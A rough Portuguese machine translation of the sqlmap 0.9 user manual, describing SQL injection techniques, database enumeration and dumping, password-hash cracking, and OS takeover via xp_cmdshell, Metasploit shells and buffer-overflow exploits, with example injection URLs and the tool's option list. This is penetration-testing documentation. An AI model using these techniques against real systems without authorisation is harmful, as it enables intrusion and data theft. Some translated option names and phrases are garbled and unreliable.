# manual do usuário sqlmap


## por Bernardo Damele AG , Miroslav Stampar



versão 0.9, 10 de abril de 2011


*Este documento é o manual do usuário de usar sqlmap .*

# 1. Introdução

sqlmap é uma ferramenta open source de teste de penetração, que automatiza o processo de detecção e exploração de falhas de injeção SQL e assumir de servidores de banco de dados. Ele vem com um motor de detecção de Kick-Ass, características muitos nichos para o testador de penetração final e uma ampla gama de switches com duração a partir de impressões digitais do banco de dados, mais dados Buscando do banco de dados, para acessar o sistema de arquivos subjacente e executar comandos do sistema operacional através de out-of-band conexões.

## 1,1 Requisitos

sqlmap é desenvolvido em Python , uma dinâmica orientada a objeto linguagem de programação interpretada. Isto faz com que a ferramenta independente do sistema operativo. É preciso apenas que a versão interpretador Python **2** igual ou superior a **2,6** . O intérprete é livre para download a partir do seu site oficial . Para tornar ainda mais fácil, muitas distribuições GNU / Linux sair da caixa com interpretador Python instalado e outros Unices e Mac OSX também fornecer embalado em seus formatos e pronto para ser instalado. Usuários do Windows podem baixar e instalar o instalador do Python-setup pronto para x86, AMD64 e Itanium também.

sqlmap conta com o Metasploit Framework para algumas de suas características pós-exploração de aquisição. Você precisa pegar uma cópia do mesmo a partir da transferência página - a versão necessária é **3,5** ou superior. Para a técnica de aquisição ICMP tunneling out-of-band, sqlmap requer Impacket biblioteca também.

Se você estiver disposto a se conectar diretamente a um servidor de banco de dados ( `d-` switch), sem passar através de uma aplicação web, você precisa instalar Ligações Python para o sistema de gerenciamento de banco de dados que você está indo para o ataque:

- Firebird: python-kinterbasdb .
- Microsoft Access: python-pyodbc .
- Microsoft SQL Server: python-pymssql .
- MySQL: python-mysqldb .
- Oracle: python cx_Oracle .
- PostgreSQL: python-psycopg2 .
- SQLite: python-pysqlite2 .
- Sybase: python-pymssql .

Se você pretende atacar uma aplicação web atrás de autenticação NTLM ou usar a funcionalidade de atualização sqlmap ( `- de atualização` switch) você precisa instalar respectivamente python-ntlm e python-svnbibliotecas.
Opcionalmente, se você estiver executando sqlmap no Windows, você pode querer instalar PyReadline biblioteca para ser capaz de tirar vantagem da conclusão TAB sqlmap e histórico de apoio no shell SQL e shell OS.Note-se que estas funcionalidades estão disponíveis nativamente pelo padrão do Python readline biblioteca em outros sistemas operacionais.
Você também pode optar por instalar Psyco biblioteca para, eventualmente, acelerar as operações sqlmap algorítmicas.

## 1,2 Cenário

**Detectar e explorar uma injeção de SQL**

Vamos dizer que você é uma aplicação de auditoria web e encontrei uma página da web que aceita dinâmicas valores fornecidos pelo usuário em `GET` ou `POST` parâmetros ou HTTP `Cookies` valores ou HTTP `User-Agent` valor cabeçalho. Você agora quer testar se estes são afetados por uma vulnerabilidade de injeção SQL, e se assim for, explorá-los para recuperar informações, tanto quanto possível fora do sistema de aplicação web de gestão de back-end de banco de dados ou até mesmo ser capaz de acessar o sistema de arquivos subjacente e sistema operacional.
Em um mundo simples, considere que o URL de destino é:
`http://192.168.136.131/sqlmap/mysql/get_int.php?id=1`

Suponha que:
`http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1`

é a mesma página que o original e:
`http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2`

difere da original, isso significa que você está na frente de uma vulnerabilidade de injeção SQL no `ID GET` parâmetro do `index.php` página web aplicação, o que significa que, potencialmente, não IDS / IPS, nenhum firewall de aplicações web, sanitização valor sem parâmetros " é executada no lado do servidor antes de enviar a declaração SQL para o sistema de gerenciamento de banco de dados de back-end da aplicação web depende.
Esta é uma falha bastante comum em aplicações web dinâmicas de conteúdo e que não dependem do sistema de gerenciamento de banco de dados de back-end, nem sobre a linguagem de programação de aplicações web: é uma falha de código programador de segurança. O projeto Open Web Application Security classificado em 2010, em sua OWASP Top Ten pesquisa esta vulnerabilidade como o mais comum e importante vulnerabilidade de aplicações web, juntamente com outras falhas de injeção.
Voltar para o cenário, provavelmente o SQL `SELECIONAR` declaração em `get_int.php` tem uma sintaxe semelhante à seguinte consulta SQL, em código PHP pseudo:

```
$ Query = "SELECT [coluna nome (s)] FROM [nome da tabela] WHERE id
=". $ _REQUEST ['Id'];
```

Como você pode ver, anexando qualquer condição syntatically válida outro SQL depois de um valor para o `ID de` tal condição terá lugar quando o aplicativo web passa a consulta ao sistema de gerenciamento de banco de dados de back-end que executa, é por isso que a condição `id = 1 E 1 = 1` é válido ( *verdadeiro* ) e retorna a mesma página que o original, com o mesmo conteúdo. Este é o caso de uma vulnerabilidade de injecção booleano baseado cego SQL. No entanto, sqlmap é capaz de detectar qualquer tipo de injeção SQL e adaptar o seu fluxo de trabalho de acordo. Leia abaixo para mais detalhes.

Além disso, neste cenário simples e fácil de injetar também seria possível acrescentar, não apenas uma ou mais condição SQL válida (s), mas também empilhados consultas SQL, por exemplo, algo como `[...] & id = 1; OUTRO SQL QUERY #` se a tecnologia de aplicação web suporta *consultas empilhadas* , também conhecido como *várias instruções* .

Agora que você encontrou este parâmetro de injeção SQL vulnerável, você pode explorá-la através da manipulação da `ID` valor do parâmetro no pedido HTTP.

Existem muitos recursos na net explicando em detalhes como para prevenir, detectar e explorar vulnerabilidades de injeção SQL em aplicações web e recomenda-se a lê-los se você não está familiarizado com o assunto antes de ir adiante com sqlmap.

Passando o endereço original, `http://192.168.136.131/sqlmap/mysql/get_int.php?id=1` para sqlmap, a ferramenta automaticamente:

- Identificar o parâmetro vulnerável (s) ( `id` , neste exemplo);
- Identificar quais as técnicas de injeção SQL pode ser usado para explorar o parâmetro vulnerável (s);
- Impressão digital do back-end do sistema de gestão de banco de dados;
- Dependendo das opções do usuário, será amplamente impressões digitais, dados de enumerar ou aquisição o servidor de banco de dados como um todo.

**Conexão direta com o sistema de gerenciamento de banco de dados**

Até sqlmap versão **0,8** , a ferramenta tem sido *mais uma ferramenta de injeção de SQL* , utilizado pelos testadores de penetração de aplicações web / novatos / adolescentes curiosos / computador / viciados punks e assim por diante. As coisas mudam e como elas evoluem, nós fazemos também. Agora suporta esta nova opção, `-d` , que permite a conexão de sua máquina para o servidor de banco de dados da porta TCP onde o banco de dados daemon sistema de gestão está escutando e executar qualquer operação que você faria ao usá-lo para atacar um banco de dados através de um SQL vulnerabilidade de injeção.

## 1,3 Técnicas

sqlmap é capaz de detectar e explorar cinco diferentes de injeção SQL *tipos* :

- **Boolean baseada injeção de SQL cego** , também conhecido como **injeção de SQL inferencial** : substitui sqlmap ou anexa ao parâmetro afetado na solicitação HTTP, uma cadeia de declaração syntatically válido SQL contendo um `SELECIONAR` instrução sub-, ou qualquer outra instrução SQL cujo o usuário quiser recuperar a saída. Para cada resposta HTTP, fazendo uma comparação entre os cabeçalhos de resposta HTTP / corpo com o pedido original, a inferência ferramenta a saída do personagem declaração injetado pelo personagem. Como alternativa, o usuário pode fornecer uma string ou expressão regular para corresponder em páginas Verdadeiros. O algoritmo de bissecção implementado em sqlmap para executar esta técnica é capaz de buscar cada personagem da saída com um máximo de sete solicitações HTTP.Onde a saída não está dentro do charset claro em texto simples, sqlmap irá adaptar o algoritmo com intervalos maiores para detectar a saída.
- **Time-base de injeção SQL cego** , também conhecido como **injeção de SQL cego total** : substitui sqlmap ou anexa ao parâmetro afetado na solicitação HTTP, uma cadeia de declaração syntatically válido SQL contendo uma consulta que colocou em espera o DBMS back-end para voltar para um certo número de segundos. Para cada resposta HTTP, fazendo uma comparação entre o tempo de resposta HTTP com o pedido original, a ferramenta de inferência a saída do carácter declaração injectado por caractere. Tal como para boolean baseada técnica, o algoritmo de bissecção é aplicada.
- **Erro baseada em injeção de SQL** : sqlmap substitui ou anexar o parâmetro afetado uma declaração de banco de dados específico syntatically errado e analisa os cabeçalhos de resposta HTTP e corpo em busca de mensagens de erro de DBMS contendo a cadeia pré-definida injetado de caracteres ea saída declaração dentro. Esta técnica funciona quando o aplicativo da Web foi configurado para divulgar back-end de banco de dados de gerenciamento de mensagens de erro do sistema apenas.
- **UNIÃO consulta injeção de SQL** , também conhecido como **inband injeção de SQL** : sqlmap anexa ao parâmetro afetado uma string declaração syntatically válido SQL começando com uma `união todas selecionar` . Este techique funciona quando a página da web aplicação passa a saída do `SELECIONAR` instrução dentro de um `por` ciclo, ou similar, de modo que cada linha da saída de consulta é impresso sobre o conteúdo da página. sqlmap também é capaz de explorar **parcial (entrada única) UNIÃO consulta de injeção SQL** vulnerabilidades que ocorrem quando a saída da instrução não é reciclado em

um `para`construir passo que apenas a primeira entrada do resultado da consulta é exibido.

- **Stacked consultas SQL injection** , também conhecida como **injeção de SQL múltiplas declarações** : testes sqlmap se o aplicativo web oferece suporte a consultas empilhados em seguida, no caso, suporta, ele anexa ao parâmetro afetado na solicitação HTTP, um ponto e vírgula ( `;` ), seguido por a instrução SQL para ser executado. Esta técnica é útil para executar instruções SQL que não `SELECIONE` como, por exemplo, *a definição de dados* ou *manipulação de dados* afirmações possivelmente levando a arquivar sistema de leitura e escrita de acesso e execução operacional de comando do sistema, dependendo do sistema de gestão de base de back-end de banco de dados e do usuário da sessão privilégios.

## 1,4 Demonstração

Você pode assistir a vários vídeos de demonstração, eles estão hospedados no YouTube .

# 2. Características

Funcionalidades implementadas em sqlmap incluem:

## 2,1 características genéricas

- Suporte completo para **MySQL** , **a Oracle** , **PostgreSQL** , **Microsoft SQL Server** , **Microsoft Access** , **SQLite** , **Firebird** , **Sybase** e **SAP MaxDB** sistemas de gestão de banco de dados.
- O suporte total para cinco técnicas de injeção SQL: **boolean baseada cego** , **cegos baseado em tempo** , **com base em erro** , **consulta UNION** e **consultas empilhadas** .
- Apoio para **conectar diretamente ao banco de dados** , sem passar através de uma injeção SQL, fornecendo credenciais de SGBD, o endereço IP, porta e nome do banco de dados.
- É possível fornecer uma URL de destino único, obter a lista de alvos de Burp procuração ou WebScarab de proxy solicita arquivos de log, obter a solicitação HTTP inteiro de um arquivo de texto ou obter a lista de metas, fornecendo sqlmap com um idiota que consulta o Google Google motor de busca e analisa sua página de resultados. Também é possível definir um alcance de expressão regular base que é usada para identificar quais dos endereços analisados para testar.
- Testes desde **GET** parâmetros, **POST** parâmetros, HTTP **Cookies** valores de cabeçalho, HTTP **User-Agent** valor do cabeçalho HTTP e **Referer** valor de cabeçalho para identificar e explorar vulnerabilidades de injeção SQL. Também é possível especificar uma lista separada por vírgulas do parâmetro específico (s) a testar.

- Opção para especificar o **número máximo de concorrentes HTTP (S) pedidos (multi-threading)** para acelerar as técnicas de injeção SQL cegos. Vice-versa, também é possível especificar o número de segundos para segurar entre cada pedido HTTP (S). Outros otimização muda para acelerar a exploração são implementadas também.
- **HTTP `Cookies` cabeçalho** apoio string, útil quando o aplicativo web requer autenticação baseada em biscoitos e você tem esses dados ou em caso você só quer testar e explorar a injeção de SQL em valores de cabeçalho tais. Você também pode especificar a URL sempre-codificar o Cookie.
- Trata automaticamente **HTTP `Set-Cookie` cabeçalho** da aplicação, re-estabelecimento da sessão, se ele expira. Testar e explorar esses valores é suportado também. Vice-versa, você também pode forçar a ignorar qualquer `Set-Cookie` cabeçalho.
- Protocolo HTTP **Basic, Digest, NTLM e Certificado autenticações** apoio.
- **Proxy HTTP (S)** suporte de passar pelas solicitações para o aplicativo de destino que trabalha também com pedidos HTTPS e com servidores proxy autenticado.
- Opções para falsificar o **HTTP `Referer` cabeçalho** valor eo **HTTP `User-Agent` do cabeçalho** valor especificado pelo usuário ou selecionados aleatoriamente a partir de um arquivo de texto.
- Apoio para aumentar o **nível de detalhamento das mensagens de saída** : existem **sete níveis** de detalhamento.
- Apoio para **analisar formulários HTML** do URL de destino e forjar HTTP (S) pedidos contra essas páginas para testar os parâmetros de forma contra vulnerabilidades.
- **Granularidade e flexibilidade** em termos de chaves tanto do usuário e as características.
- **Tempo estimado de chegada** de apoio para cada consulta, atualizado em tempo real, para fornecer ao usuário uma visão geral de quanto tempo vai demorar para recuperar a saída das consultas.
- Salva automaticamente a sessão (consultas e sua saída, ainda que parcialmente recuperada) em um arquivo de texto em tempo real enquanto a busca dos dados e **retoma a injeção** por analisar o arquivo de sessão.
- Suporte para ler as opções de um arquivo INI de configuração, em vez de especificar cada vez todas as opções na linha de comando. Apoio também para gerar um arquivo de configuração com base na linha de comando interruptores fornecidos.
- Apoio para **replicar o banco de dados de back-end estrutura de tabelas e as entradas** em um local SQLite 3 banco de dados.

- Opção para atualizar sqlmap a última versão de desenvolvimento do repositório de subversão.
- Suporte para analisar HTTP (S) respostas e exibir qualquer mensagem de erro DBMS para o usuário.
- Integração com outros projetos de segurança de TI de código aberto, Metasploit e w3af .

## 2,2 características da impressão digital e enumeração

- **Extenso back-end versão do software de banco de dados e impressão digital do sistema operacional subjacente** baseada em mensagens de erro , de análise bandeira , comparação de funções de saída ecaracterísticas específicas , tais como MySQL injeção comentário. Também é possível forçar o back-end de banco de dados o nome do sistema de gestão, se você já sabe disso.
- Software básico do servidor web e web impressão digital tecnologia de aplicação.
- Apoio para recuperar o DBMS **bandeira** , **usuário da sessão** e **banco de dados atual** informações. A ferramenta também pode verificar se o usuário da sessão é um **administrador de banco de dados** (DBA).
- Suporte para enumerar **usuários de banco de dados** , **"hashes de senha de usuários** , **usuários privilégios** , **os papéis dos usuários** , **bases de dados** , **tabelas** e **colunas** .
- O reconhecimento automático de senha no formato hashes e apoio para **quebrá-las com um ataque baseado em dicionário** .
- Apoio à **força bruta tabelas e colunas nome** . Isto é útil quando o usuário da sessão não tem acesso leia a tabela de sistema que contém informações de esquema ou quando o sistema de gerenciamento de banco de dados não armazena essas informações em qualquer lugar (por exemplo, MySQL <5,0).
- Apoio para **despejar as tabelas de banco de dados** completo, um intervalo de entradas ou colunas específicas como a escolha do usuário por. O usuário também pode escolher para despejar apenas uma gama de personagens de entrada de cada coluna.
- Suporte para automaticamente **despejar todos os bancos de dados de** esquemas 'e entradas. É possivelmente a excluir o despejo dos bancos de dados do sistema.
- Apoio a **procurar nomes de banco de dados específicos, tabelas específicas em todas as bases de dados ou colunas específicas em tabelas todos os bancos de dados "** . Isso é útil, por exemplo, para identificar as tabelas que contêm as credenciais de aplicativos personalizados onde os nomes de colunas relevantes "contêm string como *nome* e *passe* .
- Apoio para **executar a instrução SQL personalizada (s)** como em um cliente SQL interativo conectar ao banco de dados back-end. sqlmap

automaticamente disseca a declaração fornecida, determina qual a técnica mais adequada para injetá-lo e como embalar a carga SQL conformidade.

## 2,3 características públicas de aquisição

Algumas dessas técnicas são detalhadas no papel branco avançada de injeção SQL para controle de sistema operacional completo e no conjunto de slides Expandindo o controle sobre o sistema operacional a partir do banco de dados .

- Apoio para **injetar personalizados funções definidas pelo usuário** : o usuário pode compilar uma biblioteca compartilhada então usar sqlmap para criar no âmbito das funções de back-end DBMS definidos pelo usuário para fora do arquivo de biblioteca compartilhada compilado. Essas UDFs pode então ser executado e, opcionalmente, removido, através de sqlmap. Isto é suportado quando o software de banco de dados é o MySQL ou PostgreSQL.
- Suporte para **download e upload de qualquer arquivo** do banco de dados do sistema de arquivos do servidor subjacente quando o software de banco de dados é MySQL, PostgreSQL ou Microsoft SQL Server.
- Apoio para **executar comandos arbitrários e recuperar a sua saída padrão** no banco de dados do sistema operacional de servidor subjacente quando o software de banco de dados é MySQL, PostgreSQL ou Microsoft SQL Server.
    - Em MySQL e PostgreSQL via definida pelo usuário injeção função e execução.
    - No Microsoft SQL Server via `xp_cmdshell ()` procedimento armazenado. Além disso, o procedimento armazenado é reativado se desativado ou criado a partir do zero se for removido pelo DBA.
- Apoio à **criação de um fora-de-banda stateful conexão TCP entre a máquina atacante e banco de dados servidor** sistema operacional subjacente. Esse canal pode ser um prompt de comando interativo, uma sessão Meterpreter ou uma interface gráfica de usuário da sessão (VNC), como a escolha do usuário acutes. sqlmap depende Metasploit para criar o shellcode e implementa quatro diferentes técnicas para executá-lo no servidor de banco de dados. Estas técnicas são:
    - Banco de dados de **execução na memória de shellcode o Metasploit** via sqlmap própria função definida pelo usuário `sys_bineval ()` . Suportado em MySQL e PostgreSQL.
    - Upload e execução de um Metasploit **stager carga autônomo** via sqlmap própria função definida pelo usuário `sys_exec ()` em MySQL e PostgreSQL ou via `xp_cmdshell ()` no Microsoft SQL Server.

    - Execução de shellcode Metasploit realizando um **ataque reflexão SMB** ( MS08-068 ) com um pedido de caminho UNC do servidor de banco de dados para a máquina do atacante, onde o Metasploit`smb_relay` exploit servidor escuta. Apoiado ao executar sqlmap com privilégios elevados ( `uid = 0` ) no Linux / Unix e os DBMS destino é executado como administrador no Windows.
    - Execução de banco de dados em memória de shellcode o Metasploit, explorando **o Microsoft SQL Server 2000 e 2005 `sp_replwritetovarbin` procedimento armazenado buffer overflow baseado em pilha** ( MS09-004 ). sqlmap tem seu próprio exploit para acionar a vulnerabilidade com desvio automático proteção DEP memória, mas depende de Metasploit para gerar o shellcode começar executado sobre a exploração bem sucedida.
- Suporte para **processo de banco de dados 'escalada de privilégios de usuário** via Metasploit `getsystem` comando que incluem, entre outros, o kitrap0d técnica ( MS10-015 ).
- O apoio ao acesso (leitura / adicionar / excluir) seções do Registro do Windows.

# 3. História

## 3,1 2.011

- **10 de abril** , Bernardo e Miroslav liberação sqlmap **0,9** apresentando um totalmente reescrito e poderoso mecanismo de detecção de injeção de SQL, a possibilidade de se conectar diretamente a um servidor de banco de dados, suporte para com base no tempo de injeção SQL cego e erro baseado em injeção de SQL, suporte para quatro novo banco de dados sistemas de gestão e muito mais.

## 3,2 2.010

- **Dezembro** , Bernardo e Miroslav têm reforçado sqlmap muito durante todo o ano e se preparar para liberar sqlmap **0,9** no primeiro trimestre de 2011.
- **03 de junho** , Bernardo apresenta uma palestra intitulada *Got acesso ao banco? Proprietário da rede!* em AthCon de 2010, em Atenas (Grécia).
- **14 de março** , Bernardo e Miroslav lançar a versão estável do sqlmap **0,8** com muitos recursos. Entre elas, o apoio para enumerar e despejar as tabelas todos os bancos de dados "contendo usuário fornecida coluna (s), estabilização e melhorias para as funcionalidades de aquisição, integração atualizado com Metasploit 3.3.3 e um monte de pequenas funcionalidades e correções de bugs.
- **Março** , vídeos de demonstração sqlmap foram publicados .

- **Janeiro** , Bernardo é convidado para apresentar na AthCon conferência na Grécia, em Junho de 2010.

## 3,3 2.009

- **18 de dezembro** , Miroslav Stampar responde à chamada para os desenvolvedores. Junto com Bernardo, ele desenvolve ativamente sqlmap da versão **release candidate 0,8 2** .
- **12 de dezembro** , Bernardo escreve para a lista de discussão um post intitulado sqlmap estado da arte - 3 anos depois destacando os objetivos alcançados durante esses três primeiros anos do projeto e lança um apelo para os desenvolvedores.
- **04 de dezembro** , sqlmap-devel lista de discussão foi incorporada sqlmap usuários lista de discussão .
- **20 de novembro** , Bernardo e Guido apresentar novamente a sua investigação em stealth aquisição de servidor de banco de dados de confiança de 2009, em Varsóvia, na Polônia.
- **26 de setembro** , a versão sqlmap **0,8 Release Candidate 1** vem a público no repositório de subversão , com todos os vetores de ataque revelados no Barcelona 2009 FONTE Conferência. Estes incluem uma versão melhorada do buffer overflow Microsoft SQL Server explorar automaticamente para ignorar a proteção de memória DEP, o apoio para estabelecer a conexão fora de banda com o servidor de banco de dados, executando na memória do shellcode Metasploit via UDF *sys_bineval ()* (anti- forense técnica), suporte para acessar as seções do Registro do Windows e apoiar a injetar personalizados funções definidas pelo usuário.
- **Setembro 21** , Bernardo e Guido Landi apresentar sua pesquisa ( lâminas ) em conferência de origem de 2009, em Barcelona, Espanha.
- **Agosto** , Bernardo é aceito como palestrante em outras duas conferências de segurança de TI, FONTE Barcelona 2009 e 2009 confiança Varsóvia . Esta nova pesquisa é intitulada *Expandindo o controle sobre o sistema operacional a partir do banco de dados* .
- **25 de julho** , a versão estável do sqlmap **0,7** está fora!
- **27 de junho** , Bernardo apresenta uma versão atualizada de sua *injeção de SQL: não só e 1 = 1* slides em Fórum de Segurança Digital 2 em Lisboa, Portugal.
- **02 de junho** , sqlmap versão **0.6.4** fez o seu caminho para o repositório oficial do Ubuntu também.
- **Maio** , Bernardo apresenta novamente sua pesquisa sobre aquisição do sistema operacional através de injeção de SQL no OWASP AppSec Europa 2009 em Varsóvia, na Polónia e na EUSecWest 2009 em Londres, Reino Unido.
- **08 de maio** , sqlmap versão **0.6.4** foi oficialmente aceite no repositório Debian. Detalhes sobre este blog .

- **22 de abril** , a versão sqlmap **0,7 Release Candidate 1** vem a público, com todos os vetores de ataque revelados no Black Hat Conference Europe 2009. Estes incluem a execução de comandos arbitrários no sistema operacional, integração total com o Metasploit para estabelecer um out-of-band conexão TCP, primeiro exploit disponível publicamente para Microsoft Security Bulletin MS09-004 contra a Microsoft SQL Server 2000 e 2005 e outros ataques a aquisição o servidor de base de dados como um todo, e não apenas os dados a partir da base de dados.
- **16 de abril** , Bernardo apresenta sua pesquisa ( lâminas , whitepaper ) na Black Hat Europe 2009, em Amesterdão, Holanda. O feedback do público é bom e tem havido alguma cobertura da mídia também.
- **05 de março** , Bernardo apresenta pela primeira vez algumas das características sqlmap recentes e melhorias futuras em um evento internacional, Frente Conferência OWASP Faixa de 2009 , em Denver, EUA. A apresentação é intitulada *injeção de SQL: não só e 1 = 1* .
- **24 de fevereiro** , Bernardo é aceito como um alto-falante na Black Hat Europe 2009 com uma apresentação intitulada *avançada exploração de injeção SQL para controle de sistema operacional completo* .
- **03 de fevereiro** , sqlmap **0.6.4** é o último lançamento para 0.6: aproveitando o teste consultas empilhadas implementado em 0.6.3, sqlmap agora pode ser usado para executar qualquer instrução SQL arbitrário, não só *SELECIONE* mais. Além disso, muitas características foram estabilizados, ajustado e melhorado em termos de velocidade nesta versão.
- **09 de janeiro** , Bernardo apresenta *internos de exploração de injeção SQL* em um evento privado em Londres, Reino Unido.

## 3,4 2.008

- **18 de dezembro** , sqlmap **0.6.3** é liberada com suporte para recuperar alvos de Burp e arquivos de log WebScarab proxies, suporte para testar empilhados consultas formiga injeção de SQL com base no tempo cego, impressão digital aproximada do servidor web e tecnologias de aplicação web em uso e mais opções para personalizar os pedidos HTTP e enumerar mais informações a partir do banco de dados.
- **02 de novembro** , sqlmap versão **0.6.2** é um "correções de bugs" liberar apenas.
- **20 de outubro** , sqlmap liberação primeiro ponto, **0.6.1** , vem a público. Isso inclui correções de bugs e o primeiro contato entre a ferramenta e Metasploit : um módulo auxiliar para lançar sqlmap de dentro Metasploit Framework. O repositório de desenvolvimento subversão vem a público novamente.
- **01 de setembro** , quase um ano após o lançamento anterior, sqlmap **0,6** ganha vida com uma refatoração de código completo, suporte para executar arbitrárias SQL *de SELECT* declarações, mais

opções para enumerar e despejar informações específicas são adicionados, novos pacotes de instalação para o Debian, Red Hat , Windows e muito mais.

- **Agosto** , duas públicas as listas de discussão são criados no SourceForge.
- **Janeiro** , sqlmap subversão repositório de desenvolvimento é afastado do SourceForge e vai privado por um tempo.

## 3,5 2.007

- **04 de novembro** , a liberação de **0,5** marca o fim da Primavera OWASP do Código participação concurso de 2007. Bernardo tem realizado todos os objetos propsed que incluem também o apoio inicial para Oracle, suporte melhorado para UNIÃO injeção de SQL de consulta e apoio para testar e explorar as injeções SQL em HTTP Cookie e User-Agent cabeçalhos.
- **15 de junho** , Bernardo versão versões **0,4** , como resultado da primeira mola OWASP Código marco de 2007. Esta versão traz, entre outros, melhorias no motor de impressão digital DBMS, suporte para calcular o tempo estimado de chegada, as opções para enumerar dados específicos do servidor de banco de dados e sistema de registro de marca nova.
- **Abril** , embora sqlmap foi **não** é e **não** um projeto OWASP, ele é aceito , entre muitos outros projetos de código aberto para OWASP Primavera do Código de 2007.
- **30 de março** , Bernardo se aplica a OWASP Primavera do Código 2007 .
- **20 de janeiro** , sqlmap versão **0,3** é lançado, com o apoio inicial para o Microsoft SQL Server, suporte para testar e explorar as injeções UNIÃO consulta SQL e pontos de injeção em parâmetros POST.

## 3,6 2.006

- **13 de dezembro** , Bernardo lançamentos versão **0,2** com grandes melhorias para as funcionalidades de impressão digital de DBMS e substituição do algoritmo de inferência de idade com o algoritmo de bissecção.
- **Setembro** , Daniele deixa o projeto, Bernardo Damele AG leva-lo mais.
- **Agosto** , Daniele adiciona suporte inicial para PostgreSQL e lançamentos versão **0,1** .
- **25 de julho** , Daniele Bellucci registra o projeto sqlmap no SourceForge e desenvolve-lo no repositório de subversão SourceForge . O esqueleto é implementada e suporte limitado para o MySQL acrescentou.

# 4. baixar e atualizar

sqlmap pode ser baixado a partir de sua página de lista de arquivos SourceForge . Está disponível em dois formatos:

- Fonte gzip .
- Zip fonte comprimido .

Você também pode verificar a versão mais recente desenvolvimento da subversão repositório:

```
$ Svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
```

Você pode atualizá-lo a qualquer momento para a última versão de desenvolvimento, executando:

```
$ Python sqlmap.py - atualização
```

Ou:

```
$ Svn update
```

Isso é altamente recomendável **antes de** relatar qualquer bug para a lista de discussão .

# 5. Uso

```
$ Python sqlmap.py-h

    sqlmap/0.9 - injeção de SQL e ferramenta de aquisição automática
de dados
    http://sqlmap.sourceforge.net

Uso: python sqlmap.py [options]

Opções:
  Número de programa mostra a versão da versão e sai -
  -H, - help mostrar esta mensagem de ajuda e sai
  -V nível de detalhamento VERBOSE: 0-6 (default 1)

  Alvo:
    Pelo menos uma destas opções tem que ser especificado para definir
a fonte de
    obter urls de destino.

    -D conexão direta direto ao banco de dados
    -U URL, - url = URL de destino URL
    -L Lista alvos Parse de Burp ou logs de proxy WebScarab
    -R Carga REQUESTFILE solicitação HTTP de um arquivo
    -G Processo GOOGLEDORK resultados do Google dork como alvo urls
    -C configfile opções de carregamento de um arquivo de configuração
INI

  Pedido:
    Essas opções podem ser usadas para especificar como se conectar à
URL de destino.

    - Dados = dados de cadeia de dados para ser enviado através de
POST
    - Cookie = COOKIE cabeçalho HTTP Cookie
    - URL do bolinho urlencode-Encode injeções de cookies gerados
    - Drop-set-cookie Ignorar Set-Cookie cabeçalho de resposta
    - User-agent = AGENT cabeçalho HTTP User-Agent
    - Agente aleatório Use selecionados aleatoriamente cabeçalho HTTP
User-Agent
    - Referer = REFERER HTTP Referer cabeçalho
    - Headers = HEADERS cabeçalhos extra HTTP nova linha separada
    - Auth-type = ATYPE tipo de autenticação HTTP (Basic, Digest ou
NTLM)
```

- Auth-cred = ACRED HTTP credenciais de autenticação (nome: senha)
- Auth-cert = ACERT HTTP autenticação de certificado (key_file, cert_file)
- Proxy = Use um proxy HTTP para conectar-se a URL de destino
- Proxy-cred = PCRED proxy HTTP credenciais de autenticação (nome: senha)
- Ignore-proxy Ignorar sistema padrão proxy HTTP
- Delay = Atraso atraso em segundos entre cada solicitação HTTP
- Timeout = Segundos de tempo limite para esperar antes de tempo limite de conexão (padrão 30)
- Tentativas = tentativas tentativas quando o tempo limite de conexão (padrão 3)
- Scope = ÂMBITO Regexp para filtrar alvos de log proxy fornecido
- Url = seguro-SAFURL endereço URL para visitar com freqüência durante os testes
- Seguro-freq = SAFREQ pedidos de teste entre duas visitas a um determinado URL segura

Otimização:
Essas opções podem ser usadas para otimizar o desempenho de sqlmap.

Transforme-o em todos os switches de otimização
- Prever a saída de prever consultas saída comum
- Keep-alive uso persistente HTTP (S) conexões
- Null conexão Recuperar comprimento de página sem corpo real de resposta HTTP
- Tópicos = THREADS número máximo de concorrentes HTTP (s) pedidos (default 1)

Injeção:
Estas opções podem ser utilizados para especificar quais os parâmetros para testar,
fornecer cargas de injeção personalizados e roteiros opcionais adulteração.

-P parâmetro Testável TESTPARAMETER (s)
- SGBD SGBD = Força de back-end DBMS para este valor
- Os = OS Força back-end do sistema operacional DBMS para este valor
- Prefix = PREFIX Injeção cadeia de prefixo carga
- Suffix = SUFIXO Injeção corda sufixo carga
- Adulterar = Usar TAMPER dado script (s) para adulteração de dados de injeção

Detecção:
Essas opções podem ser usadas para especificar a forma de analisar e comparar página
conteúdo de respostas HTTP quando utilizando a técnica de injeção SQL cego.

- Nível Nível = nível de testes para executar (1-5, padrão 1)
- O risco de Risco = risco de testes a executar (0-3, padrão 1)
- String = String para corresponder na página quando a consulta é válida
- Regexp = REGEXP Regexp para corresponder na página quando a consulta é válida
- Somente texto Comparar páginas com base apenas no conteúdo textual

Técnicas:

Essas opções podem ser usados para ajustar o teste de injeção de SQL específico
técnicas.

- Técnicas de técnica = TECH injeção SQL para testar (Beust padrão)
- Tempo-sec segundos = TIMESEC para atrasar a resposta DBMS (padrão 5)
- União cols = Faixa UCOLS de colunas para testar UNIÃO injeção de SQL consulta
- União-char = Character UCHAR usar para bruteforcing número de colunas

Impressão digital:
-F, - impressão digital Executar uma impressão versão extensa DBMS

Enumeração:
Essas opções podem ser usadas para enumerar o banco de dados de back-end
gestão do sistema de informação sobre a estrutura e os dados contidos na
tabelas. Além disso, você pode executar suas próprias instruções SQL.

-B, - Recuperar bandeira bandeira DBMS
- Usuário atual Recuperar DBMS usuário atual
- Atual-db Recuperar DBMS banco de dados atual
- É dba-detectar se o usuário atual é DBA SGBD
- Usuários Enumerar os usuários DBMS
- Enumerar senhas usuários DBMS senha hashes
- Privilégios Enumerar os privilégios dos usuários DBMS
- Enumerar papéis papéis usuários DBMS
- Dbs Enumerate SGBD bases de dados
- Tabelas de banco de dados Enumerar tabelas DBMS
- Enumerar as colunas da tabela de banco de dados DBMS colunas
- Dump tabela DBMS entradas de dados
- Dump-tudo despejar todos os bancos de dados DBMS tabelas entradas
- Buscar na coluna (s), mesa (s) e / ou o nome da base de dados (s)
-D DB SGBD de banco de dados para enumerar
-T TBL tabela do banco DBMS para enumerar
C-COL DBMS coluna da tabela do banco de dados para enumerar
-U USUÁRIO DBMS usuário para enumerar
- Excluem-sysdbs Excluir dados do sistema DBMS ao enumerar tabelas
- Start = entrada de saída LIMITSTART Primeiro consulta para recuperar
- Parar = entrada de saída LIMITSTOP Última consulta para recuperar
- Primeiro = FIRSTCHAR primeira consulta personagem palavra de saída para recuperar
